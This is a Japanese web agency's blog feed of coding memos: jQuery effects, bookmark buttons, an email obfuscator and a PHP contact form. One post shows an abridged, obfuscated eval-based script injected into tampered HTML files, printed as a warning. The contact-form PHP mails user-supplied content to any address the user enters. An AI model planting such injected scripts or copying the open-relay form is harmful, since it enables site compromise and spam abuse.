フォノクラフト株式会社:作業メモや備忘録など » JavaScript http://121.50.42.205/note 作業メモや備忘録など... Fri, 05 Jul 2013 05:17:27 +0000 ja hourly 1 http://wordpress.org/?v=3.1.3 [ec-cube] お問い合わせフォームに規約同意を追加 http://121.50.42.205/note/ec-cube-%e3%81%8a%e5%95%8f%e3%81%84%e5%90%88%e3%82%8f%e3%81%9b%e3%83%95%e3%82%a9%e3%83%bc%e3%83%a0%e3%81%ab%e8%a6%8f%e7%b4%84%e5%90%8c%e6%84%8f%e3%82%92%e8%bf%bd%e5%8a%a0_931 http://121.50.42.205/note/ec-cube-%e3%81%8a%e5%95%8f%e3%81%84%e5%90%88%e3%82%8f%e3%81%9b%e3%83%95%e3%82%a9%e3%83%bc%e3%83%a0%e3%81%ab%e8%a6%8f%e7%b4%84%e5%90%8c%e6%84%8f%e3%82%92%e8%bf%bd%e5%8a%a0_931#comments Fri, 27 Jan 2012 06:26:34 +0000 admin http://phono.co.jp/note/?p=931 必要な場面で使ってください

ec-cubeでのお問い合わせフォームはデフォルトでは規約の同意など無くても送信できてしまうので、そこの所を簡易的にちょこっと改変。

アップロードするファイル

・/data/Smarty/templates/default/contact/index.tpl
 (お問い合わせフォームのtpl)
・/html/user_data/packages/default/html/pp.html
 (iframeで表示する規約文面を追加)
・/html/user_data/packages/default/img/button/btn_confirm_disabled.jpg
 (灰色のボタンを追加)

ファイル一式ダウンロード

eccube_contact.zip

]]>
http://121.50.42.205/note/ec-cube-%e3%81%8a%e5%95%8f%e3%81%84%e5%90%88%e3%82%8f%e3%81%9b%e3%83%95%e3%82%a9%e3%83%bc%e3%83%a0%e3%81%ab%e8%a6%8f%e7%b4%84%e5%90%8c%e6%84%8f%e3%82%92%e8%bf%bd%e5%8a%a0_931/feed 0
[JS] 簡単にオンマウスで画像を半透明化 http://121.50.42.205/note/js-%e7%b0%a1%e5%8d%98%e3%81%ab%e3%82%aa%e3%83%b3%e3%83%9e%e3%82%a6%e3%82%b9%e3%81%a7%e7%94%bb%e5%83%8f%e3%82%92%e5%8d%8a%e9%80%8f%e6%98%8e%e5%8c%96_801 http://121.50.42.205/note/js-%e7%b0%a1%e5%8d%98%e3%81%ab%e3%82%aa%e3%83%b3%e3%83%9e%e3%82%a6%e3%82%b9%e3%81%a7%e7%94%bb%e5%83%8f%e3%82%92%e5%8d%8a%e9%80%8f%e6%98%8e%e5%8c%96_801#comments Wed, 23 Nov 2011 07:16:06 +0000 admin http://phono.co.jp/note/?p=801 使い勝手がすばらしい

以前にも同じ様な投稿をしてますが、jQueryを使用してロールーバーで画像の半透明にします。

※jQuery は http://scriptsrc.net/ からコピーすると便利です。

JSのソース

ファイル名は任意で構いませんが、仮に「rollover.js」とします。

$(function() {
	// Fade Slow
	var nav = $('.imgover_s');
	nav.hover(
		function(){
			$(this).fadeTo(300,0.5);
		},
		function () {
			$(this).fadeTo(300,1);
		}
	);
	// Fade First
	var nav = $('.imgover_f');
	nav.hover(
		function(){
			$(this).fadeTo(0,0.7);
		},
		function () {
			$(this).fadeTo(0,1);
		}
	);
});

使い方

↓<head>内に記述

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script type="text/javascript" src="./common/js/rollover.js"></script>

↓ゆっくり画像を半透明にさせる場合は「class=”imgover_s”」

<img src="./common/img/top_ban_01.gif" alt="bell" class="imgover_s" />

↓一瞬で画像を透過させる場合は「class=”imgover_f”」

<img src="./common/img/top_ban_01.gif" alt="bell" class="imgover_f" />
]]>
http://121.50.42.205/note/js-%e7%b0%a1%e5%8d%98%e3%81%ab%e3%82%aa%e3%83%b3%e3%83%9e%e3%82%a6%e3%82%b9%e3%81%a7%e7%94%bb%e5%83%8f%e3%82%92%e5%8d%8a%e9%80%8f%e6%98%8e%e5%8c%96_801/feed 0
[JS] テーブルを交互に色を付ける http://121.50.42.205/note/js-%e3%83%86%e3%83%bc%e3%83%96%e3%83%ab%e3%82%92%e4%ba%a4%e4%ba%92%e3%81%ab%e8%89%b2%e3%82%92%e4%bb%98%e3%81%91%e3%82%8b_624 http://121.50.42.205/note/js-%e3%83%86%e3%83%bc%e3%83%96%e3%83%ab%e3%82%92%e4%ba%a4%e4%ba%92%e3%81%ab%e8%89%b2%e3%82%92%e4%bb%98%e3%81%91%e3%82%8b_624#comments Tue, 25 Oct 2011 15:41:51 +0000 admin http://phono.co.jp/note/?p=624 使い道

プログラムでeven/oddと処理するのが面倒な時に有用。ただ行数が多いと奇麗に出ない場合がある。

サンプル

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

ダウンロード

ソース

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8">
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js"></script>
<script language="JavaScript" type="text/javascript">
	$(document).ready(function(){
		$("table#test").each(function(){
		$(this).find("tr:odd").addClass("odd");
		});
	});
</script>
<style type="text/css">
	table#test {
	width:100%;
	border: 1px solid #cccccc;
	border-collapse: collapse;
	background:#F6F5F0;
	}
	table#test td {
	border: 1px solid #cccccc;
	padding:10px;
	}
	table#test tr.odd td {
	background-color: #ffffff;
	padding:10px;
	}
</style>
</head>
<body>
	<table id="test">
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	<tr><td>aaaaaaaaaaaaaaaa</td><td>aaaaaaaaaaaaaaaa</td></tr>
	</table>
</body>
</html>
]]>
http://121.50.42.205/note/js-%e3%83%86%e3%83%bc%e3%83%96%e3%83%ab%e3%82%92%e4%ba%a4%e4%ba%92%e3%81%ab%e8%89%b2%e3%82%92%e4%bb%98%e3%81%91%e3%82%8b_624/feed 0
[WP] Magic fieldsで画像がアップ出来ない原因と条件 http://121.50.42.205/note/wp-magic-fields%e3%81%a7%e7%94%bb%e5%83%8f%e3%81%8c%e3%82%a2%e3%83%83%e3%83%97%e5%87%ba%e6%9d%a5%e3%81%aa%e3%81%84_576 http://121.50.42.205/note/wp-magic-fields%e3%81%a7%e7%94%bb%e5%83%8f%e3%81%8c%e3%82%a2%e3%83%83%e3%83%97%e5%87%ba%e6%9d%a5%e3%81%aa%e3%81%84_576#comments Fri, 21 Oct 2011 05:57:18 +0000 admin http://phono.co.jp/note/?p=576

IE8でのエラー

IE8で画像をアップロードする際に、JavaScriptの処理で止まってしまう。

エラー発生の条件

  • WordPless :3.2.1
  • Magic-fields:1.5.8.1
  • Browser  :IE8(おそらく8以前の下位バージョン含む)

対応

FireFox等を使う。
http://mozilla.jp/firefox/download/

または、IE9が入る環境ならIE9へバージョンを上げる。
http://windows.microsoft.com/ja-JP/internet-explorer/products/ie/home

そものもIEが嫌いなので、対応する気にならず、今回はJSエラーの起こったバージョンのメモということで…。
FireFoxやChomeの方が確実であることは間違いはありません。
※設定項目(設定 » Magic-fields)にある「Use Standard File Uploader (non-ajax)」のチェックを外せばよい気もします。

兎に角言える事、言いたい事、伝えたい事、広めたい事

WordPressではIEは使わない。
IE9といえども同様です。

]]>
http://121.50.42.205/note/wp-magic-fields%e3%81%a7%e7%94%bb%e5%83%8f%e3%81%8c%e3%82%a2%e3%83%83%e3%83%97%e5%87%ba%e6%9d%a5%e3%81%aa%e3%81%84_576/feed 0
[JS] IE/FF/OP対応:お気に入りボタン、ブックマークボタン http://121.50.42.205/note/js-ieffop%e5%af%be%e5%bf%9c%ef%bc%9a%e3%81%8a%e6%b0%97%e3%81%ab%e5%85%a5%e3%82%8a%ef%bc%88%e3%83%96%e3%83%83%e3%82%af%e3%83%9e%e3%83%bc%e3%82%af%ef%bc%89%e3%83%9c%e3%82%bf%e3%83%b3_552 http://121.50.42.205/note/js-ieffop%e5%af%be%e5%bf%9c%ef%bc%9a%e3%81%8a%e6%b0%97%e3%81%ab%e5%85%a5%e3%82%8a%ef%bc%88%e3%83%96%e3%83%83%e3%82%af%e3%83%9e%e3%83%bc%e3%82%af%ef%bc%89%e3%83%9c%e3%82%bf%e3%83%b3_552#comments Tue, 18 Oct 2011 04:57:37 +0000 admin http://phono.co.jp/note/?p=552

昨今殆ど不要とも思われるお気に入りボタン。しかしたまに使用を迫られる場面もあるので一応メモ。

要点

お気に入りボタンはIEの独自拡張だが、FireFoxやOperaにも対応させる。

全て<a>タグで処理しているが、onclick属性で処理されているので<input>などへの変更も容易。

ダウンロード

  1. Add_bookmark.zip

使い方

<body>内に下記をいれる(.jsファイルまでのパスは必要に応じて変更する)

<script type="text/javascript" src="./common/js/bookmark_utf8.js"></script>

ソース

common/js/bookmark_utf8.js(.jsファイル名は必要に応じて変更する)

if(navigator.userAgent.indexOf("MSIE") > -1){ //Internet Explorer 
document.write('<!-'+'-[if IE]>'); 
document.write('<a href="#" onclick="window.external.AddFavorite(\'http://google.co.jp\',\'ここにサイト名\')">お気に入りに登録</a>'); 
document.write('<![endif]-'+'->'); 
} 
 
else if(navigator.userAgent.indexOf("Firefox") > -1){ //Firefox 
document.write('<a href="#"onclick="window.sidebar.addPanel(\'ここにサイト名\',\'http://google.co.jp\',\'\');">ブックマークに登録</a>'); 
} 
 
else if(navigator.userAgent.indexOf("Opera") > -1){ //Opera 
document.write('<a href="http://google.co.jp" rel="sidebar" title="ここにサイト名">ブックマークに登録</a>'); 
} 
 
else { //該当なし 
void(0); //何もしない 
} 

]]>
http://121.50.42.205/note/js-ieffop%e5%af%be%e5%bf%9c%ef%bc%9a%e3%81%8a%e6%b0%97%e3%81%ab%e5%85%a5%e3%82%8a%ef%bc%88%e3%83%96%e3%83%83%e3%82%af%e3%83%9e%e3%83%bc%e3%82%af%ef%bc%89%e3%83%9c%e3%82%bf%e3%83%b3_552/feed 0
[JS] jQueryを使用して画像のロールーバー(オンマウスでの画像切り替え) http://121.50.42.205/note/js-jquery%e3%82%92%e4%bd%bf%e7%94%a8%e3%81%97%e3%81%a6%e7%94%bb%e5%83%8f%e3%81%ae%e3%83%ad%e3%83%bc%e3%83%ab%e3%83%bc%e3%83%90%e3%83%bc%ef%bc%88%e3%82%aa%e3%83%b3%e3%83%9e%e3%82%a6%e3%82%b9%e3%81%a7_523 http://121.50.42.205/note/js-jquery%e3%82%92%e4%bd%bf%e7%94%a8%e3%81%97%e3%81%a6%e7%94%bb%e5%83%8f%e3%81%ae%e3%83%ad%e3%83%bc%e3%83%ab%e3%83%bc%e3%83%90%e3%83%bc%ef%bc%88%e3%82%aa%e3%83%b3%e3%83%9e%e3%82%a6%e3%82%b9%e3%81%a7_523#comments Sun, 04 Sep 2011 06:03:03 +0000 admin http://phono.co.jp/note/?p=523

jQueryを使用して画像のロールーバー(オンマウスでの画像切り替え)をします。
IE各バージョンにも対応しているので安心して使えます。

※jQuery は http://scriptsrc.net/ からコピーすると便利です。

JSのソース

ファイル名は任意で構いませんが、仮に「img_link_filter.js”」とします。

jQuery.noConflict();

jQuery(function(){
				
	// RollOver 01
	jQuery(".fadeimg").hover(
	  function(){
	    jQuery(this).fadeTo(0,0.8);
	  },
	  function(){
	    jQuery(this).fadeTo(500,1);
	  }
	);
	// RollOver 02
	jQuery(".fadeimg_top_navi").hover(
	  function(){
	    jQuery(this).fadeTo(0,0.5);
	  },
	  function(){
	    jQuery(this).fadeTo(500,1);
	  }
	);
		
	// RollOver 03
	jQuery(".swapimg").hover(
	  function(){
		//jQuery(this).attr('src', String(jQuery(this).attr('src')).split('_on.jpg')[0] + ".jpg");
	    //jQuery(this).attr('src', String(jQuery(this).attr('src')).split('.jpg')[0] + "_on.jpg");
		jQuery(this).fadeTo(200, 0);
	  },
	  function(){
	   // jQuery(this).attr('src', String(jQuery(this).attr('src')).split('_on.jpg')[0] + ".jpg");
	   jQuery(this).fadeTo(300, 1);
	  }
	);
});

使い方

↓<head>内に記述

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script type="text/javascript" src="./common/js/img_link_filter.js"></script>

↓完全に画像を切り替える場合は「class=”swapimg”」

<div class="banner-T">
<p style="background-image:url(./common/img/top/ban_top_01_on.jpg);"><a href="####"><img src="./common/img/top/ban_top_01.jpg" alt="○○○○" class="swapimg" /></a></p>
<p style="background-image:url(./common/img/top/ban_top_02_on.jpg);"><a href="####"><img src="./common/img/top/ban_top_02.jpg" alt="○○○○" class="swapimg" /></a></p>
</div>

↓画像に透過させる場合は「class=”fadeimg”」

<div class="banner-T">
<a href="####"><img src="./common/img/top/ban_top_03.jpg" alt="○○○○" class="fadeimg" /></a>
</div>
]]>
http://121.50.42.205/note/js-jquery%e3%82%92%e4%bd%bf%e7%94%a8%e3%81%97%e3%81%a6%e7%94%bb%e5%83%8f%e3%81%ae%e3%83%ad%e3%83%bc%e3%83%ab%e3%83%bc%e3%83%90%e3%83%bc%ef%bc%88%e3%82%aa%e3%83%b3%e3%83%9e%e3%82%a6%e3%82%b9%e3%81%a7_523/feed 0
[JS] Copyright の年号をJSで動的に表示する http://121.50.42.205/note/copyright-%e3%81%ae%e5%b9%b4%e5%8f%b7%e3%82%92js%e3%81%a7%e5%8b%95%e7%9a%84%e3%81%ab%e8%a1%a8%e7%a4%ba%e3%81%99%e3%82%8b_503 http://121.50.42.205/note/copyright-%e3%81%ae%e5%b9%b4%e5%8f%b7%e3%82%92js%e3%81%a7%e5%8b%95%e7%9a%84%e3%81%ab%e8%a1%a8%e7%a4%ba%e3%81%99%e3%82%8b_503#comments Tue, 30 Aug 2011 06:50:42 +0000 admin http://phono.co.jp/note/?p=503 使い道

毎年、年号を変更するのが面倒な場合に有効。

ソース

(C)は &copy; としてもよい。

Copyright (C) <script type="text/javascript">var iNavInt_curYear = new Date().getUTCFullYear(); document.write(iNavInt_curYear);</script><noscript>To date</noscript> ○○○○, Inc. All Rights Reserved.
]]>
http://121.50.42.205/note/copyright-%e3%81%ae%e5%b9%b4%e5%8f%b7%e3%82%92js%e3%81%a7%e5%8b%95%e7%9a%84%e3%81%ab%e8%a1%a8%e7%a4%ba%e3%81%99%e3%82%8b_503/feed 0
htmlファイルの改ざんについて http://121.50.42.205/note/html%e3%81%ae%e5%a0%b4%e5%90%88%e3%81%af%e4%b8%8b%e8%a8%98%e3%81%ae%e6%a7%98%e3%81%aa%e8%a8%98%e8%bf%b0%e3%81%8c%e3%81%95%e3%82%8c%e3%82%8b%e3%81%93%e3%81%a8%e3%82%82%e3%81%82%e3%82%8b%e3%80%82_488 http://121.50.42.205/note/html%e3%81%ae%e5%a0%b4%e5%90%88%e3%81%af%e4%b8%8b%e8%a8%98%e3%81%ae%e6%a7%98%e3%81%aa%e8%a8%98%e8%bf%b0%e3%81%8c%e3%81%95%e3%82%8c%e3%82%8b%e3%81%93%e3%81%a8%e3%82%82%e3%81%82%e3%82%8b%e3%80%82_488#comments Thu, 25 Aug 2011 06:58:27 +0000 admin http://phono.co.jp/note/?p=488 HTMLファイルの場合 htmlの場合は下記の様な記述がされることもある。
<script>
String.prototype.test="h";for(i in'')if(i=='test')m=''[i];var ss="";aa=document.createTextNode(m+"a"+"rC"+"ode");s=String["fr"+"omC"+aa['nod'+'eVa'+'lue']];d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd="e";try{for(i in{})if(~i.indexOf('as'))throw 1;}catch(q){h=d2-d;}
n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,......(長いので中略).....95-h,
107-h,99-h,37-h,39-h,57-h,100-h,44-h,113-h,99-h,......(長いので中略).....,7-h,123-h];
for(i=0;i<n.length;i++)ss+=s(eval("n"+"["+"i"+"]"));eval(ss);
</script>
]]>
http://121.50.42.205/note/html%e3%81%ae%e5%a0%b4%e5%90%88%e3%81%af%e4%b8%8b%e8%a8%98%e3%81%ae%e6%a7%98%e3%81%aa%e8%a8%98%e8%bf%b0%e3%81%8c%e3%81%95%e3%82%8c%e3%82%8b%e3%81%93%e3%81%a8%e3%82%82%e3%81%82%e3%82%8b%e3%80%82_488/feed 0
メールアドレスの暗号化 [1] http://121.50.42.205/note/%e3%83%a1%e3%83%bc%e3%83%ab%e3%82%a2%e3%83%89%e3%83%ac%e3%82%b9%e6%9a%97%e5%8f%b7%e5%8c%96_154 http://121.50.42.205/note/%e3%83%a1%e3%83%bc%e3%83%ab%e3%82%a2%e3%83%89%e3%83%ac%e3%82%b9%e6%9a%97%e5%8f%b7%e5%8c%96_154#comments Wed, 15 Jun 2011 05:13:38 +0000 admin http://phono.co.jp/note/?p=154 var MAXLINE = 70 var MAGIC_MAX = 20 var MAGIC_UPSET = 2 var MAGIC_UPSET_LENGTH = 3 var LOWEST_CHAR = 33 var HIGHEST_CHAR = 126 var NUM_CHARS = HIGHEST_CHAR - LOWEST_CHAR var DEFAULT_LINK_VALUE = "E-mail" var rot; /* global variable set at main and used anywhere */ var result_string = "" function save_buffer(string) { result_string = result_string + string } function clean_buffer() { result_string = "" } function print_buffer() { document.write(result_string) } /* Unix-like random function */ function random(max_value) { return Math.floor(Math.random() * max_value) } /* return charactor according to input number */ function normalize_charactor(input) { var pattern = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" input %= pattern.length return pattern.charAt(input) } /* return random string, whose length is less than max_length */ function random_string(max_length) { var length, string, i; length = random(max_length) + 1 string = "" for (i = 0; i < length; i++) string = string + normalize_charactor(random(Math.pow(2,31))) return string; } /* HTML encode given c charactor randomly */ function random_html_encode(c) { switch (random(3)) { case 0: return "&#x" + c.charCodeAt(0).toString(16) + ";"; break; case 1: return "&#" + c.charCodeAt(0).toString(10) + ";"; break; case 2: return c; break; } } /* caesar cipher given string */ function cipher(string) { var ciphered_text = ""; for (var i = 0; i < string.length; i++) { var c = string.charCodeAt(i) /* * range of readable string: 33 - - 126 */ c -= rot; if (c < LOWEST_CHAR) c = HIGHEST_CHAR + (c - LOWEST_CHAR); ciphered_text += String.fromCharCode(c) } return ciphered_text; } /* put annoying string into "string" to upset make robots */ function convert_upset(string) { var line_length = 10; /* 10 is lenght of noscript tag */ for (var i = 0; i < string.length; i++) { if (random(MAGIC_UPSET) == 0) { random_str = random_string(MAGIC_UPSET_LENGTH); save_buffer("<" + "!" + "-" + "-") if (line_length > MAXLINE - MAGIC_MAX) { save_buffer("\n"); line_length = 0; } save_buffer(random_str + "-" + "-" + ">"); line_length += random_str.length + 7; } var encoded_char = random_html_encode(string.charAt(i)); line_length += encoded_char.length; save_buffer(encoded_char); } } /* escape charactors for quoted string */ function escapeQuote(string) { var result = ""; for (var i = 0; i < string.length; i++) { var c = string.charAt(i); switch (c) { case '"': result += '\\\"'; break; case '\'': result += "\\\'"; break; case '\\': result += "\\\\"; break; default: result += c; } } return result; } /* main */ function print_encoded_address() { var address, ciphered_address, link_value; address = document.frm.address.value; loc_addr = 'location.href="mailto:' + document.frm.address.value + '"'; link_value = document.frm.link.value; clean_buffer(); /* Cipher (caesar cipher) */ rot = random(NUM_CHARS - 1) + 1; ciphered_address = escapeQuote(cipher(loc_addr)); /* make script section */ save_buffer("<" + 'script type="text/javascript" ' + 'language="javascript">\n'); save_buffer('function f(){var s="') var line_length = 21; for (i = 0; i < ciphered_address.length; i++) if (line_length >= MAXLINE) { save_buffer('"+\n"' + ciphered_address.charAt(i)); line_length = 0; } else save_buffer(ciphered_address.charAt(i)); save_buffer('",r="";\n'); save_buffer('for(i=0;i 0) save_buffer('-' + decode_rot) else save_buffer('+' + (-decode_rot)) save_buffer(')%' + NUM_CHARS + '+' + LOWEST_CHAR + ');'); save_buffer("eval(r);}\n"); save_buffer("document.write('"); if (link_value == "") save_buffer(DEFAULT_LINK_VALUE); else save_buffer(link_value); save_buffer("')"); save_buffer("<" + "/" + "script" + ">\n"); /* noscript */ if (document.frm.noscript.checked == true) { save_buffer("<" + "noscript" + ">"); var noscript_string; if (link_value == "") noscript_string = DEFAULT_LINK_VALUE + ":" + address; else noscript_string = link_value + ":"+ address; convert_upset(noscript_string); save_buffer("\n"); } /* print result */ document.frm.addressScreen.value = result_string; }

メールアドレス暗号化

■メールアドレス:
■リンクする文字列:
■JSが切ってある場合のアラート表示あり:

出典

http://www.csg.is.titech.ac.jp/~yanagisawa/Sites/javascript/caesarAddress2.html]]>
http://121.50.42.205/note/%e3%83%a1%e3%83%bc%e3%83%ab%e3%82%a2%e3%83%89%e3%83%ac%e3%82%b9%e6%9a%97%e5%8f%b7%e5%8c%96_154/feed 0
簡単なメール送信スクリプト http://121.50.42.205/note/%e7%b0%a1%e5%8d%98%e3%81%aa%e3%83%a1%e3%83%bc%e3%83%ab%e9%80%81%e4%bf%a1%e3%82%b9%e3%82%af%e3%83%aa%e3%83%97%e3%83%88_52 http://121.50.42.205/note/%e7%b0%a1%e5%8d%98%e3%81%aa%e3%83%a1%e3%83%bc%e3%83%ab%e9%80%81%e4%bf%a1%e3%82%b9%e3%82%af%e3%83%aa%e3%83%97%e3%83%88_52#comments Fri, 10 Jun 2011 07:19:56 +0000 admin http://phono.co.jp/note/?p=52 必要なファイル
  • index.php
  • confirm.php
  • complete.php
  • mail.conf.php

一式ダウンロード

ソース

index.php

  • 簡単なバリデートはJSで行う(validator.js / util.js / style.css)
  • Submit/Resetボタンは画像で
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>お問い合わせ|入力</title>

<!-- バリデータ -->
<script type="text/javascript" src=./js/check/util.js" charset="UTF-8"></script> 
<script type="text/javascript" src="./js/check/validator.js" charset="UTF-8"></script> 
<link rel="stylesheet" type="text/css" href="./js/check/style.css" />
<!-- /バリデータ -->

<body>

<form action="confirm.php" method="post" onsubmit="return Validator.submit(this)">

	ご担当者氏名
	<label for="name1">姓 </label><input type="text" name="name1" onblur="Validator.check(this)" />
	<label for="name2" >名 </label><input type="text" name="name2" onblur="Validator.check(this)" />
	
	会員ID
	<input type="text"  size="50" name="userId" onblur="Validator.check(this)">
	
	会社名
	<input type="text"  size="50" name="company" onblur="Validator.check(this)">
	
	部署名
	<input type="text"  size="50" name="section">
	
	メールアドレス
	<input type="text"  size="50" name="mailaddress" onblur="Validator.check(this, 'equal mail', 'mailaddress2')">
	
	メールアドレス(確認)
	<input type="text"  size="50" name="mailaddress2" onblur="Validator.check(this, 'equal mail', 'mailaddress')">
	
	電話番号
	<input type="text" size="50" name="tel" onblur="Validator.check(this)">
	
	お問い合わせ目的
	<input name="inquiry_ttl" type="radio" value="サービスのご利用について" /> サービスのご利用について
	<input name="inquiry_ttl" type="radio" value="当サイトについて" /> 当サイトについて
	<input name="inquiry_ttl" type="radio" value="ご契約・各種手続きについて" onblur="Validator.check(this)" /> ご契約・各種手続きについて
	
	お問い合わせ内容
	<textarea  rows="7" cols="40" name="inquiry" onblur="Validator.check(this)"></textarea>
	
	プライバシーポリシーにご同意の上、お問い合わせください。
	<input name="pp" type="checkbox" value="プライバシーポリシーに同意する" onblur="Validator.check(this)" />&nbsp;プライバシーポリシーに同意する
	<input name="pp" type="hidden" value="プライバシーポリシーに同意しない" />
	
	<input type="reset" class="input_btn" id="btn_reset" name="btn_reset" value="リセット" title="リセット"/>
	<input type="submit" class="input_btn" id="btn_chk" name="btn_chk" value="入力内容を確認" title="入力内容を確認"/>

</form>

</body>
</html>

confirm.php

<?php
$aryName = array(
	'name1',
	'name2',
	'userId',
	'company',
	'section',
	'mailaddress',
	'tel',
	'inquiry_ttl',
	'inquiry',
);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>お問い合わせ|確認</title>
<body>

<form action="complete.php" method="post">
<?php foreach ($aryName as $n) : ?>
<input type="hidden" name="<?php echo $n;?>" value="<?php echo urlencode($_REQUEST[$n]);?>">
<?php endforeach; ?>

ご担当者氏名
<?php echo htmlspecialchars($_REQUEST['name1'].$_REQUEST['name2']);?> 様

会員ID
<?php echo htmlspecialchars($_REQUEST['userId']);?>

会社名<
<?php echo htmlspecialchars($_REQUEST['company']);?>

部署名</th>
<?php echo htmlspecialchars($_REQUEST['section']);?>

メールアドレス<
<a href="mailto:<?php echo htmlspecialchars($_REQUEST['mailaddress']);?>"><?php echo htmlspecialchars($_REQUEST['mailaddress']);?></a>

電話番号
<?php echo htmlspecialchars($_REQUEST['tel']);?>

お問い合わせ内容<
【<?php echo nl2br(htmlspecialchars($_REQUEST['inquiry_ttl']));?>】<br />
<?php echo nl2br(htmlspecialchars($_REQUEST['inquiry']));?>


<input type="reset" class="input_btn" id="btn_fixed" name="btn_fixed" value="修正する" title="修正する" onclick="history.back(); return false;" />
<input type="submit" class="input_btn" id="btn_send" name="btn_send" value="送信する" title="送信する"/>

</form>

</body>
</html>

complete.php

  • 「mailaddress」が無いと送信しない
  • メールテンプレートや送信先のメールアドレスはmail.conf.phpに記述
<?php
include_once './mail.conf.php';
$aryName = array(
	'name1',
	'name2',
	'userId',
	'company',
	'section',
	'mailaddress',
	'tel',
	'inquiry_ttl',
	'inquiry',
);

$to = urldecode($_REQUEST['mailaddress']); 
if ($to !== '') {
	foreach ($aryName as $n) {
		$search = '%%'.$n.'%%';
		$replace = urldecode($_REQUEST[$n]);
		$mail_body = str_replace($search, $replace, $mail_body);
	}
	my_send_mail($to, $mail_body);

}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>お問い合わせ|完了</title>
<body>

お問合せ頂きありがとうございます。<br />
後ほど、担当者よりご連絡いたします。

</body>
</html>

mail.conf.php

  • From / Replay / BCC を設定します
  • メールテンプレートを編集します
<?php
mb_language('ja');

$mail_subject = '【○○○○】お問い合わせを受け付けました';

$mail_bcc  = '○○○○@○○○○.co.jp';
$mail_from = '○○○○@○○○○.co.jp';
$mail_reply_to = '○○○○@○○○○.co.jp';

$header  = "From: $mail_from\n";
$header .= "Reply-To: $mail_reply_to\n";
$header .= "Bcc: $mail_bcc\n";

$mail_body = "
%%name1%% %%name2%% 様

この度は○○○○にお問い合わせいただき、ありがとうございます。
本メールはご登録の受付により自動配信されております。
以下よりお問い合わせ内容のご確認をお願い致します。


【お問い合わせ内容】
━━━━━━━━━━━━━━━━━━━━━━━━━━
 氏名:%%name1%% %%name2%% 様
 会員ID:%%userId%%
 会社名:%%company%%
 部署名:%%section%%
 メールアドレス: %%mailaddress%%
 電話番号: %%tel%%

 ご相談内容:
【%%inquiry_ttl%%】
%%inquiry%%   
━━━━━━━━━━━━━━━━━━━━━━━━━━

いただきましたお問い合わせにつきましては、
2営業日以内に担当者より一度ご連絡をさせていただきます。

お問い合わせ内容について、不備などありましたら、
以下の連絡先までお問い合わせください。

お問い合わせありがとうございました。


━━━━━━━━━━━━━━━━━━━━━━━━━━
株式会社○○○○ ○○○○@○○○○.co.jp
〒000-0000  東京都○○○○区○○○○1-1-1
■○○○○に関するお問い合わせ先
TEL:03-○○○○-○○○○(9:00-18:00/土日祝日を除く)
━━━━━━━━━━━━━━━━━━━━━━━━━━

";

function my_send_mail($mail_to, $mail_body) {
	global $mail_subject, $header;

	//$mail_body = mb_convert_encoding($mail_body, 'JIS', 'UTF-8');
	//$mail_subject = mb_convert_encoding($mail_subject, 'JIS', 'UTF-8');
	mb_internal_encoding("UTF-8");
	$r = mb_send_mail($mail_to, $mail_subject, $mail_body, $header);
	
	return $r;
}

//$hgoe = my_send_mail($mail_to, $mail_body);
//var_dump($hgoe);
?>
]]>
http://121.50.42.205/note/%e7%b0%a1%e5%8d%98%e3%81%aa%e3%83%a1%e3%83%bc%e3%83%ab%e9%80%81%e4%bf%a1%e3%82%b9%e3%82%af%e3%83%aa%e3%83%97%e3%83%88_52/feed 0